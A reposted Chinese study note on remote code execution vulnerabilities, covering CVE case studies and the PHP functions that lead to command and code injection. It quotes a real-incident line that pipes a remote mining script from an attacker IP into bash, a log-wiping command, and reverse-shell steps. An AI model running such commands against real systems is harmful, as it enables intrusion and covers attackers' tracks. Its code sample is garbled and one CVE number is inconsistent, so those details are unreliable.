您的位置:首页 > 财经 > 产业 > 互联网专业_定制客户管理软件_新冠疫情最新情况最新消息_网络推广免费网站

互联网专业_定制客户管理软件_新冠疫情最新情况最新消息_网络推广免费网站

2025/4/27 11:13:56 来源:https://blog.csdn.net/jonhswei/article/details/147489658  浏览:    关键词:互联网专业_定制客户管理软件_新冠疫情最新情况最新消息_网络推广免费网站
互联网专业_定制客户管理软件_新冠疫情最新情况最新消息_网络推广免费网站
一、远程代码执行漏洞
1. 远程代码执行的定义
  • 定义:远程代码执行漏洞(Remote Code Execute,简称RCE)是指程序预留了执行命令或代码的接口并被黑客利用的漏洞。广义上也包括远程命令执行(Remote Command Execute)和命令注入漏洞。
  • 产生原因:由于业务需求设计需要执行外部命令或代码的接口,但未对用户输入进行严格校验和限制。
  • 危害等级:属于高危漏洞,CVSSv3评分可达9.8分(如CVE-2021-3177)。
2. 远程代码执行漏洞的应用
1)典型应用场景
  • 网络设备管理界面:如路由器、防火墙的ping测试功能界面
  • 自动化运维系统:网页端直接执行服务器命令的接口
  • 数据库管理后台:允许执行SQL语句的运维界面(需注意限制delete/update等危险操作)
2)漏洞危害
  • 服务器控制:获取系统权限执行任意命令
  • 数据泄露:读取网站源码、用户数据等敏感文件
  • 恶意文件操作:写入webshell、植入挖矿木马(如MimuMiner家族)
  • 横向渗透:通过SSH连接在内网横向移动
  • 日志清除:使用cat /dev/null > /var/log/secure等命令清除攻击痕迹
3)例题:Atlassian Confluence漏洞
  • 题目解析
    • 漏洞编号:CVE-2021-26084
    • 攻击方式:通过构造恶意请求执行curl hxxp://190.144.115.54:443/cn.sh | bash下载挖矿脚本
    • 攻击特征:
      • 清除竞品挖矿进程(如4SHMiner、H2Miner)
      • 使用hostname作为矿池用户名密码
      • 通过/var/tmp/mimu目录驻留恶意程序
    • 防御措施:腾讯T-Sec主机安全专业版可拦截此类攻击
4)例题:Apache Druid远程代码执行漏洞
  • 题目解析
    • 影响版本:Apache Druid < 0.20.1
    • 漏洞原理:通过构造恶意JSON请求执行JavaScript代码
    • 复现步骤:
      • 使用Docker搭建环境:docker pull fokkodriesprong/docker-druid
      • 修改filter参数注入java.lang.Runtime.getRuntime().exec()
      • 通过nc监听获取反弹shell
    • 修复建议:升级至0.20.1及以上版本
3. 实际漏洞案例分析
1)例题:Python远程代码执行漏洞
  • 题目解析
    • 漏洞编号:CVE-2021-3177
    • 影响版本:Python 3.x-3.9.1
    • 利用方式:通过ctypes库造成缓冲区溢出
    • 修复方案:升级至Python 3.6.13/3.7.10/3.8.8/3.9.2
2)例题:VMware远程代码执行漏洞
  • 题目解析
    • 漏洞编号:CVE-2021-21972
    • 攻击向量:通过443端口构造恶意请求
    • 影响产品:
      • vCenter Server 7.0系列<7.0U1c
      • VMware Cloud Foundation 4.x<4.2.3
    • 关联漏洞:CVE-2021-21974(ESXi堆溢出)、CVE-2021-21973(SSRF)
3)例题:深信服EDR远程命令执行漏洞
  • 题目解析
    • 漏洞编号:CNVD-2020-46552
    • 影响版本:EDR v3.2.16/3.2.17/3.2.19
    • 利用特点:
      • 默认root权限运行
      • 可通过构造特殊请求包执行系统命令
      • 常被用于植入挖矿木马
    • 修复方案:升级到最新安全版本
4)例题:网康科技防火墙RCE漏洞
  • 题目解析
    • 漏洞编号:CNVD-2021-30101
    • 攻击方式:向/directdata/direct/router发送恶意POST请求
    • 后续利用:通过http://x.x.x.x/cmd.txt获取命令执行结果
    • 防御建议:部署WAF拦截异常请求
二、知识小结

知识点

核心内容

考试重点/易混淆点

难度系数

远程代码执行漏洞(RCE)定义

程序预留执行命令/代码的接口被外部用户滥用,导致黑客控制服务器

区分RCE与命令注入漏洞(广义上可归为同类)

⭐⭐

PHP语言中的RCE风险函数

未明确列举具体函数,但强调未严格校验用户输入是根本原因

eval()等危险函数的使用场景

⭐⭐⭐

外部靶场案例(DVWA/Pikachu)

通过综合靶场演示RCE漏洞的实际利用方式

靶场环境搭建与漏洞复现步骤

⭐⭐

在线CTF平台实践

通过实战平台体验RCE漏洞的危害(如获取服务器权限、数据泄露等)

反弹Shell构造与权限维持技术

⭐⭐⭐⭐

漏洞修复与防御

未展开具体措施,但强调输入校验和最小权限原则

安全开发规范与WAF规则配置

⭐⭐

RCE危害案例(Confluence漏洞)

攻击者利用漏洞植入挖矿程序、清除日志、横向移动

漏洞利用链分析(从RCE到持久化控制)

⭐⭐⭐⭐

知名软件RCE漏洞(Python/VMware/Apache)

Python语言自身漏洞、VMware vCenter未授权访问、Apache数据库漏洞

CVE编号关联(如CVE-2023-21972)

⭐⭐⭐

安全软件自身RCE漏洞(深信服/网康)

终端管理系统/防火墙因界面未过滤输入导致Root权限被获取

安全产品反被利用的讽刺性风险

⭐⭐⭐⭐

一、远程代码执行涉及函数
1. 命令注入
  • 分类依据:PHP中造成RCE漏洞的函数分为命令注入和代码注入两类,对应RCE漏洞的两种别名(远程命令执行/远程代码执行)
  • 典型函数:
    • system():执行操作系统命令并输出结果,与eval()并列为文件上传漏洞的"罪魁祸首"
    • exec()/shell_exec():通过shell环境执行命令并将完整输出以字符串返回
    • proc_open():执行命令并打开用于输入/输出的文件指针
    • popen():打开进程文件指针
    • passthru():执行外部程序并显示原始输出
    • pcntl_exec():在当前进程空间执行指定程序
1)示例分析
  • 漏洞场景:靶场中通过输入IP执行ping命令的功能
  • 漏洞成因:直接使用shell_exec()拼接用户输入的IP参数($ip),未做过滤处理
  • 关键代码:

result.=shellexec(′ping′.result.=shell_exec('ping '.result.=shelle​xec(′ping′.

ip); // Windows系统

result.=shellexec(′ping−c4′.result.=shell_exec('ping -c 4 '.result.=shelle​xec(′ping−c4′.

ip); // 其他系统

- **利用方式**:通过命令分隔符(如`;`、`&&`)注入额外命令
##### 2. 代码注入 <timestamp>137000</timestamp>
- <img src="https://xact01.baidupcs.com/file/p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3?bkt=en-3de6f374fcad9f514a94920d227b7f50&fid=282335-250528-&time=1745490831&sign=FDTAXUVGEQlBHSKfWqij-GBWOGYTBgG0KqHy7wNbwoLTVMyJyK6xE-QWA8nYcomq5bmTtOKseTyqwVgJg%3D&to=125&size=10&sta_dx=10&sta_cs=0&sta_ft=&sta_ct=7&sta_mt=7&fm2=MH%2CXian%2CAnywhere%2C%2C%E5%9B%9B%E5%B7%9D%2Cct&ctime=0&mtime=0&dt3=0&resv0=-1&resv1=0&resv2=rlim&resv3=5&resv4=10&vuk=0&iv=2&vl=0&htype=&randtype=&newver=1&newfm=1&secfm=1&flow_ver=3&pkey=en-790f9c151068f14d1678a1d5b88d45c1b9c452cea603af868b73292470beba738c7294e95218d3a1e88d043170e8f64b867c5a44176a4cf4305a5e1275657320&expires=8h&r=539704602&vbdid=-&fin=p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3&fn=p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3&rtype=1&dp-logid=332885767212816930&dp-callid=0.1&hps=1&tsl=0&csl=0&fsl=-1&csign=dmayhhcqdS1jXSxjkf6DN1P7N8o%3D&so=0&ut=1&uter=-1&serv=-1&uc=3989653264&ti=83f2b583554fba15962799e45bad74b34ebcbfd45e914e30&hflag=30&from_type=&adg=n&reqlabel=250528_n_84960de24d75530aeb52ede24f1901ae_0_51404d021002501c7cc73a93072a7338&chkv=5&bid=250528&by=themis" data-ilink="http://yq.newbcs.bae.baidu.com/rest/2.0/poms/bcs?sign=MBOT:UmxSaFNWRVpHVlcxMFIx:aDCJ5xwKYyLMWldLsR6u1YSTIMk%3D&method=download&bucket=ai-note-store&object=/p-c6a8c1722728b11482b82853f164d5ce-40-2025042100-3&time=1745498031">
- **核心函数**:
- **eval()**:将字符串作为PHP代码执行
- **assert()**:检查断言时先执行代码(常用于单元测试)
- **preg_replace()**:执行正则替换时可能执行代码
- **create_function()**:创建匿名函数
- **call_user_func()/call_user_func_array()**:回调函数调用
- **usort()/uasort()**:使用自定义比较函数排序数组
- **执行机制**:
- **eval示例**:直接执行输入的PHP函数命令
- **assert特点**:需要先执行代码才能得到true/false结果
- **create_function**:返回匿名函数名供后续调用
- **风险场景**:
- 用户输入直接拼接到正则替换模式
- 动态函数调用未做白名单限制
- 排序函数使用未验证的用户自定义比较器
#### 二、知识小结
| 知识点 | 核心内容 | 考试重点/易混淆点 | 难度系数 |
|--------|----------|--------------------|----------|
| **PHP命令注入相关函数** | system函数可执行操作系统命令,与eval函数常被用于漏洞利用 | **system与eval的区别**:system执行OS命令,eval执行PHP代码 | ⭐⭐⭐⭐ |
| shell_exec/exe函数 | 通过shell环境执行命令并获取返回结果,案例:picature插件中的ping命令实现 | 与system函数的**返回值处理差异** | ⭐⭐⭐ |
| pcntl_exec/passthru | 在进程空间执行程序/显示原始输出 | **进程控制与直接输出的区别** | ⭐⭐⭐⭐ |
| popen/proc_open | 通过文件指针进行进程I/O控制 | **资源句柄管理**易引发内存泄漏 | ⭐⭐⭐⭐ |
| **代码注入相关函数** | eval直接执行输入代码,assert通过断言检查执行代码 | **eval与assert的防御策略差异** | ⭐⭐⭐⭐⭐ |
| preg_replace | 正则替换时执行代码(需/e修饰符) | **历史版本兼容性问题** | ⭐⭐⭐ |
| create_function | 创建匿名函数导致注入风险 | **闭包函数的替代方案** | ⭐⭐⭐⭐ |
| call_user_func_array | 动态回调函数引发的执行链问题 | **参数过滤关键点** | ⭐⭐⭐⭐ |
| 数组排序类函数 | usort等通过自定义比较函数引入执行点 | **回调函数的安全验证** | ⭐⭐⭐ |

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com